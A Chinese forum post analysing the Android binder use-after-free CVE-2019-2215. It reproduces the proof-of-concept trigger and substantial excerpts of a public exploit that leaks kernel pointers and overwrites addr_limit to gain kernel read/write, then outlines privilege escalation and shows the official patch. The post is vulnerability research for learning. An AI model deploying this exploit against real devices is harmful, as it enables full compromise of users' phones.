吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 27650|回复: 78
收起左侧

[漏洞分析] CVE-2019-2215漏洞学习及利用

  [复制链接]
三年三班三井寿 发表于 2019-12-31 21:04
本帖最后由 三年三班三井寿 于 2020-1-9 17:06 编辑

本贴仅作学习过程记录,勿用作其他用途
很久不来发帖了,今年最后一天,还是写点啥吧。我也是刚刚接触安卓漏洞的小白,之前只接触过一个水滴,若写的不对,欢迎各位大佬指出,共同进步。

本贴主要针对git上开源的CVE-2019-2215 exp源码以及该漏洞原理展开分析,当然该exp还有很大局限性,后续适配方面还得做很多工作。

漏洞介绍:
        CVE-2019-2215由Google公司Project Zero小组发现,并被该公司的威胁分析小组(TAG)确认其已用于实际攻击中。TAG表示该漏洞利用可能跟一家出售漏洞和利用工具的以色列公司NSO有关,随后NSO集团发言人公开否认与该漏洞存在任何关系。该漏洞实质是内核代码一处UAF漏洞,成功利用可以造成本地权限提升,并有可能完全控制用户设备。但要成功利用该漏洞,需要满足某些特定条件。
漏洞详情:  
直接看公开的一段概念证明:
[C] 纯文本查看 复制代码
#include <fcntl.h>
[/font][font=新宋体]#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main()
{
        int fd, epfd;
        struct epoll_event event = { .events = EPOLLIN };
        fd = open("/dev/binder0", O_RDONLY);
        epfd = epoll_create(1000);
        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
        ioctl(fd, BINDER_THREAD_EXIT, NULL);
}


官方描述为:
binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in

a use-after-free.
原理其实很简单,当使用epoll的线程调用
BINDER_THREAD_EXIT,binder_thread被释放;而当进程结束或epoll主动调用EPOLL_CTL_DEL时,将会遍历到释放掉的binder_thread中的wait
[C] 纯文本查看 复制代码
struct binder_thread {
        struct binder_proc *proc;
        struct rb_node rb_node;
        struct list_head waiting_thread_node;
        int pid;
        int looper;              /* only modified by this thread */
        bool looper_need_return; /* can be written by other thread */
        struct binder_transaction *transaction_stack;
        struct list_head todo;
        bool process_todo;
        struct binder_error return_error;
        struct binder_error reply_error;
        wait_queue_head_t wait;
        struct binder_stats stats;
        atomic_t tmp_ref;
        bool is_dead;
        struct task_struct *task;
};
注意其等待队列wait_queue_head_t,该字段正是触发uaf的点,其结构如下:typedef struct __wait_queue_head wait_queue_head_t;

struct __wait_queue_head {
    spinlock_t      lock;
    struct list_head    task_list;
};

list_head就是个双向链表但当进程退出的时候,或者是我们主动调用EPOLL_CTL_DEL时,epoll删除操作会使用到binder_thread->wait,造成UAF。
[C] 纯文本查看 复制代码
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
        int ret;
        struct binder_proc *proc = filp->private_data;
        struct binder_thread *thread;
        unsigned int size = _IOC_SIZE(cmd);
......
        case BINDER_THREAD_EXIT:
                binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
                             proc->pid, thread->pid);
                binder_thread_release(proc, thread);
                thread = NULL;
                break;
......
}

通过3.18.70内核源码找到UAF free部分,binder_ioctl调用BINDER_THREAD_EXIT时,调用了binder_thread_release,有的内核代码是直接调用的binder_free_thread。
最终在binder_free_thread中kfree掉thread。
[C] 纯文本查看 复制代码
static int binder_thread_release(struct binder_proc *proc,
                                 struct binder_thread *thread)
{
......
if (send_reply)
                binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
        binder_release_work(proc, &thread->todo);
        binder_thread_dec_tmpref(thread);
        return active_transactions;
......
}
/////////////////////////////////
static void binder_thread_dec_tmpref(struct binder_thread *thread)
{
......
                binder_free_thread(thread);
                return;
        }
......
}
///////////////////////////////
static void binder_free_thread(struct binder_thread *thread)
{
        BUG_ON(!list_empty(&thread->todo));
        binder_stats_deleted(BINDER_STAT_THREAD);
        binder_proc_dec_tmpref(thread->proc);
        put_task_struct(thread->task);
        kfree(thread);

}

after use部分,之前释放的binder_thread在eppoll_entry中再次被使用
[C] 纯文本查看 复制代码
static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
{
        struct list_head *lsthead = &epi->pwqlist;
        struct eppoll_entry *pwq;
        while (!list_empty(lsthead)) {
                pwq = list_first_entry(lsthead, struct eppoll_entry, llink);
                list_del(&pwq->llink);
                ep_remove_wait_queue(pwq);
                kmem_cache_free(pwq_cache, pwq);
        }
}
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
......    whead = smp_load_acquire(&pwq->whead);
        if (whead)
                remove_wait_queue(whead, &pwq->wait);
......
}
void remove_wait_queue(wait_queue_head_t *q,wait_queue_t *wait)
{
......
        __remove_wait_queue(q, wait);
......
}

而此时的q指向的数据已经被释放,触发了内核崩溃。当然也有可能这片空间又被申请了或其他原因,导致q仍指向有效的数据,所以该poc并不能有效地判断出自己手机上是否存在该漏洞__remove_wait_queue再往下看,EPOLL_CTL_DEL本质上就是一个链表的删除操作,next->prev=prev。
[C] 纯文本查看 复制代码
static inline void __remove_wait_queue(wait_queue_head_t *head,wait_queue_t *old)
{       
 list_del(&old->task_list);
}
static inline void list_del(struct list_head *entry){   
     __list_del(entry->prev,entry->next);   
     entry->next = LIST_POISON1;      
  entry->prev = LIST_POSION2;
}
static inline void __list_del(struct list_head *prev,struct list_head *next){   
     next->prev=prev;       
 WRITE_ONCE(prev->next,next);
}



漏洞利用:     
测试手机为px2,内核版本4.4.155.     
利用的核心是用iovec这个结构体去占位释放的binder_thread,该方法最早由keen实验室提出。64位下iovec大小仅为0x10,可以很方便地控制我们所需要的字段以及kmalloc的大小,当然在适配过程中也存在wait与之未对齐的情况。

[C] 纯文本查看 复制代码
struct iovec{
     void *iov_base; /* Pointer to data. */
     size_t iov_len; /* Length of data. */
};

利用readv,wreitev time-of-check time-of-use机制绕过其对iov_base是否为用户态地址的检查,并kmalloc出空间对binder_thread进行占位
[C] 纯文本查看 复制代码
static ssize_t do_readv_writev(int type, struct file *file,
                               const struct iovec __user * uvector,
                               unsigned long nr_segs, loff_t *pos)
{
......
ret = rw_copy_check_uvector(type, uvector, nr_segs,
                                    ARRAY_SIZE(iovstack), iovstack, &iov);
......
}[/font][font=新宋体]///////////////////[/font][font=新宋体]ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
         unsigned long nr_segs, unsigned long fast_segs,
         struct iovec *fast_pointer,
         struct iovec **ret_pointer)[/font][font=新宋体]{[/font][font=新宋体]unsigned long seg;
 ssize_t ret;
 struct iovec *iov = fast_pointer;[/font]
[font=新宋体] /*
  * SuS says "The readv() function *may* fail if the iovcnt argument
  * was less than or equal to 0, or greater than {IOV_MAX}.  Linux has
  * traditionally returned zero for zero segments, so...
  */
 if (nr_segs == 0) {
  ret = 0;
  goto out;
 }[/font]
[font=新宋体] /*
  * First get the "struct iovec" from user memory and
  * verify all the pointers
  */
 if (nr_segs > UIO_MAXIOV) {
  ret = -EINVAL;
  goto out;
 }
 if (nr_segs > fast_segs) {
  iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
  if (iov == NULL) {
   ret = -ENOMEM;
   goto out;
  }
 }
 if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
[/font]
[font=新宋体]......[/font][font=新宋体]}[/font][font=新宋体]

leak info:
   直接看exp源码,首先是内核信息泄露部分:
[C] 纯文本查看 复制代码
struct epoll_event event = { .events = EPOLLIN };
[/font][font=新宋体]  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

  struct iovec iovec_array[IOVEC_ARRAY_SZ];
  memset(iovec_array, 0, sizeof(iovec_array));

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;   int b;
 int pipefd[2];
 if (pipe(pipefd)) err(1, "pipe");
 if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
[/font]
[font=新宋体] static char page_buffer[0x1000];

首先根据binder_thread大小构造了个0x190/0x10个iovec,且只对iovec_array[0xa]以及iovec_array[0xa+1]进行了初始化操作。
在该内核中,wait在binder_thread 中的偏移为0xA0,iovec结构体大小为0x10,与之对应的即为iovec_array[0xa].iov_base。
该偏移可以在zImage中调用binder_thread->wait处利用IDA找到,有很多地方。之后设置pipe size为0x1000。
触发时先调用BINDER_THREAD_EXIT释放binder_thread,紧接着调用writev进行占位,内核调用kmalloc占位刚刚释放的binder_thread。此时由于iovec_array数组0-9全为0,所以直接从iovec_array[0xa]进行写入。
而iovec_array[0xa].iov_len刚好等于设置的管道的大小,且iovec_array[0xa+1].iov_base是未被申请的地址,所以在此阻塞住等待读取。
接着子进程调用EPOLL_CTL_DEL,task_list进行链表unlink,iovec_array[0xa].iov_base被当作自旋锁。
由于自旋锁只占4字节,而我们可以传入一个8字节的mmap出的地址,只要其低位全0则可以不造成崩溃。
iovec_array[0xa].iov_len以及iovec_array[0xa+1].iov_base则会被当做wait->task_list->next以及wait->task_list->prev,在unlink之后这两个指针则会指向自己的task_list(即iovec_array[0xa].iov_len占位的位置),造成内核信息泄露。
子进程先读取0x1000长度无效数据,并解除管道阻塞;
父进程再次调用readv读取出指向wait->task_list的wait->task_list->prev通过binder_thread->wait->task_list加0xe8偏移获取到最后的task_struct指针。

[Asm] 纯文本查看 复制代码
 if (fork_ret == 0){
[/size][/font][font=新宋体][size=3]    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    // first page: dummy data
    if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
    close(pipefd[1]);
    printf("CHILD: Finished write to FIFO.\n");

    exit(0);
  }
  //printf("PARENT: Calling READV\n");
  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
  b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
  printf("writev() returns 0x%x\n", (unsigned int)b);
  // second page: leaked data
  if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");   printf("PARENT: Finished calling READV\n");
  int status;
  if (wait(&status) != fork_ret) err(1, "wait");[/size][/font]
[font=新宋体][size=3]  current_ptr = *(unsigned long *)(page_buffer + 0xe8);
[/size][/font]
[font=新宋体][size=3]  printf("current_ptr == 0x%lx\n", current_ptr);

在谷歌内核中,task_struct第一个字段为thread_info,thread_info中第二个字段addr_limit十分重要,它确保了用户态无法传递内核指针。
[C] 纯文本查看 复制代码
struct task_struct {
[/size][/font][font=新宋体][size=3]#ifdef CONFIG_THREAD_INFO_IN_TASK
        /*
         * For reasons of header soup (see current_thread_info()), this
         * must be the first element of task_struct.
         */
        struct thread_info thread_info;
#endif
        volatile long state;        /* -1 unrunnable, 0 runnable, >0 stopped */
        void *stack;
        atomic_t usage;
        unsigned int flags;        /* per process flags, defined below */
        ......}
//////////////
struct thread_info{      
unsigned long flags;    
   mm_segment_t  addr_limit;      
......}


patch addr_limit:   
我们需要做的就是将其patch掉,也是第二次利用:   
[C] 纯文本查看 复制代码
struct epoll_event event = { .events = EPOLLIN };
  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

  struct iovec iovec_array[IOVEC_ARRAY_SZ];
  memset(iovec_array, 0, sizeof(iovec_array));

  unsigned long second_write_chunk[] = {
    1, /* iov_len */
    0xdeadbeef, /* iov_base (already used) */
    0x8 + 2 * 0x10, /* iov_len (already used) */
    current_ptr + 0x8, /* next iov_base (addr_limit) */
    8, /* next iov_len (sizeof(addr_limit)) */
    0xfffffffffffffffe /* value to write */
  };

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
  if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");   pid_t fork_ret = fork();
  if (fork_ret == -1) err(1, "fork");
  if (fork_ret == 0){
    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
      err(1, "write second chunk to socket");
    exit(0);
  }
  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
  struct msghdr msg = {
    .msg_iov = iovec_array,
    .msg_iovlen = IOVEC_ARRAY_SZ
  };
  int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
  printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
      (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
      iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
      iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));

和之前类似,先BINDER_THREAD_EXIT释放,紧接着recvmsg使用iovec占位并阻塞住等待写入。
此时,iovec_array[0xa]大小为1已经写入,所以即使后面iov_len发生改变也没有影响接下来,子进程调用EPOLL_CTL_DEL,unlink后,iovec_array[0xa].iov_len以及iovec_array[0xa+1].iov_base也都分别指向了自己的task_list(即iovec_array[0xa].iov_len占位的位置)当再次调用write写入时,会将0x8 + 2 * 0x10大小的数据写入iovec_array[0xa+1].iov_base指向处(即iovec_array[0xa].iov_len),写入的内容是精心构造的。
即写入iovec_array[0xa].iov_len=1,iovec_array[0xa+1].iov_base=0xDEADBEEF,iovec_array[0xa+1].iov_len=0x8 + 2 * 0x10,iovec_array[0xa+2].iov_base=current_ptr + 0x8,iovec_array[0xa+2].iov_len=8最后还剩一个长度为8的数据(0xfffffffffffffffe)将写入iovec_array[0xa+2].iov_base,此时iovec_array[0xa+2].iov_base已经在前一步变为current_ptr + 0x8(addr_limit)。
至此,就patch了addr_limit,拥有了内核读写权限,接下来就是常规操作,通过符号表获取一些地址的偏移,计算基址过掉kaslr,禁用selinux,提权balabala....


后续改进:     
适配过程中,主要的问题出在binder_thread结构中,比如看一下vivo_y15s的内核源码,binder_thread结构最后不再有task_struct结构,使得该方案不再可行。
[C] 纯文本查看 复制代码
struct binder_thread {
[/size][/font][font=新宋体][size=3]        struct binder_proc *proc;
        struct rb_node rb_node;
        int pid;
        int looper;
        struct binder_transaction *transaction_stack;
        struct list_head todo;
        uint32_t return_error; /* Write failed, return error code in read buf */
        uint32_t return_error2; /* Write failed, return error code in read */
                /* buffer. Used when sending a reply to a dead process that */
                /* we are also waiting on */
        wait_queue_head_t wait;
        struct binder_stats stats;
#ifdef BINDER_PERF_EVAL
        struct binder_timeout_stats to_stats;
#endif
};
     因此,在无法直接patch掉addr_limit情况下,我们得找更加通用的信息泄露点来过掉kaslr。比如可以不选择binder_thread泄露,而epoll EPOLL_CTL_ADD两次,再EPOLL_CTL_DEL获取到epoll附近的内存结构,再通过特征匹配获取到epoll相关函数加载地址并计算出kernel_slide。passkaslr后再用比较通用的提权方法内核镜像攻击,伪造swapper_pg_dir,并将描述符写入该地址。
     由于可以实现任意地址写,所以上述方法也十分简单。但当binder_thread->wait不再与iovec对齐,比如偏移为0x98时,就需要重新构造iovec,且其会同时影响到同一个iov_base和iov_len。针对这种情况,不知是否还能直接实现任意地址写,又或者需要构建ROP链进行利用。望有研究过此洞的大佬告知
          64197a6b428b615f44e4d4b1fca045b.png

最后 附上官方补丁方案,只需在free掉binder_thread之前,清理一下thread->wait即可
[C] 纯文本查看 复制代码
diff --git a/drivers/android/binder.c b/drivers/android/binder.c
index a340766..2ef8bd2 100644
--- a/drivers/android/binder.c
+++ b/drivers/android/binder.c
@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,
                 if (t)
                         spin_lock(&t->lock);
         }
+
+        /*
+         * If this thread used poll, make sure we remove the waitqueue
+         * from any epoll data structures holding it with POLLFREE.
+         * waitqueue_active() is safe to use here because we're holding
+         * the inner lock.
+         */
+        if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
+            waitqueue_active(&thread->wait)) {
+                wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
+        }
+
         binder_inner_proc_unlock(thread->proc);
 
         if (send_reply)


2020.01.09
更一下,期间遇到了wait偏移未0x10对齐的情况,有0x98,0x48的,但都通过其他开源exp利用方式适配好了。信息泄露的点要想适配更多的话不能用exp中方案,最后还是通过泄露epoll周围相关函数,利用内核镜像攻击进行的提权
参考链接
https://github.com/marcinguy/CVE-2019-2215/

https://bbs.pediy.com/thread-248444.htm
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b


免费评分

参与人数 45吾爱币 +37 热心值 +41 收起 理由
checkoday + 1 我很赞同!
hahauuuu + 1 + 1 我很赞同!
hgfty1 + 1 用心讨论,共获提升!
_左畔 + 1 + 1 表哥真谦虚
bianlei + 1 + 1 我很赞同!
am654456 + 1 + 1 谢谢@Thanks!
kaixuanmen + 1 我很赞同!
nigacat + 1 + 1 我很赞同!
9843635 + 1 + 1 热心回复!
wad57210088 + 1 + 1 用心讨论,共获提升!
回荡 + 1 热心回复!
柿子的江湖 + 1 我很赞同!
Asula52 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
lemon__star + 1 + 1 我很赞同!
gongyong728125 + 1 + 1 热心回复!
自强 + 1 + 1 用心讨论,共获提升!
samofan + 1 + 1 谢谢@Thanks!
温柔的一哥 + 1 + 1 用心讨论,共获提升!
chkds + 1 + 1 我很赞同!
zerglurker + 1 + 1 谢谢@Thanks!
Ghouk + 1 + 1 谢谢@Thanks!
深寻 + 1 + 1 谢谢@Thanks!
ArnoD + 1 + 1 用心讨论,共获提升!
博林爱学 + 1 我很赞同!
you920928 + 1 + 1 谢谢@Thanks!
YIZU + 1 + 1 我很赞同!
uatlaosiji + 1 + 1 用心讨论,共获提升!
zhangchang + 1 + 1 用心讨论,共获提升!
yixi + 1 + 1 我很赞同!
Nachtmusik + 1 + 1 鼓励转贴优秀软件安全工具和文档!
deeplearning + 1 + 1 我很赞同!
poisonbcat + 1 + 1 谢谢@Thanks!
linrunqing521 + 1 用心讨论,共获提升!
PJS961219 + 1 谢谢@Thanks!
QGZZ + 1 + 1 谢谢@Thanks!
Tt2982 + 1 + 1 我很赞同!
Lugia + 1 + 1 谢谢@Thanks!
siuhoapdou + 1 + 1 用心讨论,共获提升!
gaosld + 1 + 1 用心讨论,共获提升!
sevfox + 1 我很赞同!
月六点年一倍 + 1 谢谢@Thanks!
Plus_0426 + 1 + 1 谢谢@Thanks!
星辰雨露 + 1 热心回复!
Rodge100 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
xingzhe1314 + 1 + 1 优秀的中国人

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

cxydxy 发表于 2020-1-2 13:39

谢谢大佬。学习了。但是没学懂
blindcat 发表于 2020-1-1 09:22
nj001 发表于 2019-12-31 22:09
Plus_0426 发表于 2020-1-3 05:52
Thanks&#9834;(&#65381;ω&#65381;)&#65417;
miqi1314 发表于 2019-12-31 21:23
学习了,强大!
judgecx 发表于 2020-1-1 00:02
前来观看
hs_f 发表于 2020-1-1 16:16
不断学习!
lsrh2000 发表于 2020-1-2 11:55
感谢分享!
努力学习ing
hfw 发表于 2020-1-2 14:48
学习一下
coder_x 发表于 2020-1-2 19:59
可以可以  学习一下哈哈哈
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 14:09

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表